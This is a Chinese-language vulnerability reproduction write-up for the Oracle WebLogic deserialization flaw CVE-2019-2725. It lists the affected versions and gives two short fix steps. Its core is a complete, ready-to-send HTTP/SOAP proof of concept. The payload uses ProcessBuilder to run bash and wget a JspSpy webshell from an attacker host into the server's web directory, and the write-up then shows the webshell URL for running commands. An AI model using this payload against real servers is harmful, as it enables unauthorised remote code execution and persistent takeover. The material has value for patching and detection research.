Weblogic反序列化远程代码执行漏洞（CVE-2019-2725）
目录：
0x00漏洞描述
0x01影响范围
0x02漏洞复现
0x03漏洞修复
0x00漏洞描述
CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞，这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞，通过针对Oracle官网历年来的补丁构造payload来绕过。
0x01影响范围
weblogic 10.x
weblogic 12.1.3
0x02漏洞复现
漏洞存在于：_async/AsyncResponseService，访问地址可以访问则存在漏洞
登陆成功访问：http://url/_async/AsyncResponseService（成功访问则有该漏洞）
使用burp抓包然后构造payload发送到服务器，使服务器执行命令
访问：http://url/_async/webshell.jsp?pwd=123&cmd=whoami
POC：
POST /_async/AsyncResponseService HTTP/1.1
Host: IP:PORT
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 850
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://HackerIP:8080/JspSpy.jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/2.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
0x03漏洞修复
1、升级本地JDK环境
2、及时安装官方补丁
